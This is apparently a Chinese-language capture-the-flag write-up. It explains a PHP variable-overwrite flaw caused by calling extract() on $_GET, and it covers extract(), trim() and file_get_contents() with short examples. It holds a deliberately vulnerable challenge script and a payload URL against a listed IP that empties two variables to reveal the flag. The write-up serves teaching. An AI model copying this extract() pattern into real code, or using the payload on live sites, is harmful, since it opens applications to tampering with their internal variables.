extract变量覆盖

0x01 extract变量覆盖

<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}

extract()

定义：

• 从数组中将变量导入到当前的符号表
• 该函数使用数组键名作为变量名，使用数组键值作为变量值。针对数组中的每个元素，将在当前符号表中创建对应的一个变量

语法：extract(array,extract_rules,prefix)

• array,必需，要使用的数组

<?php
$a="hello";
$b= array('a' =>"world" ,"b"=>"gogogo");
extract($b);
echo $a;

world
?>

trim()

定义：

• 去除字符串首尾的空白字符（或其它字符）

语法：trim(string,charlist)

• string,必需，要检查的字符串
• charlist,可选，规定删除哪些字符，省略则默认删除一些\t\n等字符。

<?php
$a1="hello world    \t\n";
$a2="hello world ";
$b1=trim($a1);
$b2=trim($a2,"hed");
echo $b1,PHP_EOL;
echo $b2;

hello world
llo world
?>

file_get_contents()

定义：

• 把整个文件读入到一个字符串中

语法：file_get_contents(path,include_path,context,start,max_length)

• path,必需，规定要读文件的路径

<?php
$a="E://info.txt";
$b=file_get_contents($a);
echo $b;

hello world!!!
?>

0x02代码分析

变量flag值为"xxx"

extract()接收一个数组，键名作为变量名，值为变量值（若变量名与之前变量名相同则覆盖）

如果变量shiyan不为空

变量flag的值赋值给变量content

如果shiyan与content值相同输出flag

构造payload

123.206.87.240:9009/1.php?shiyan=&flag=

//shiyan和flag都为空
//两个变量作为一个数组被GET接收

参考链接：

https://blog.csdn.net/qq_40980391/article/details/80097596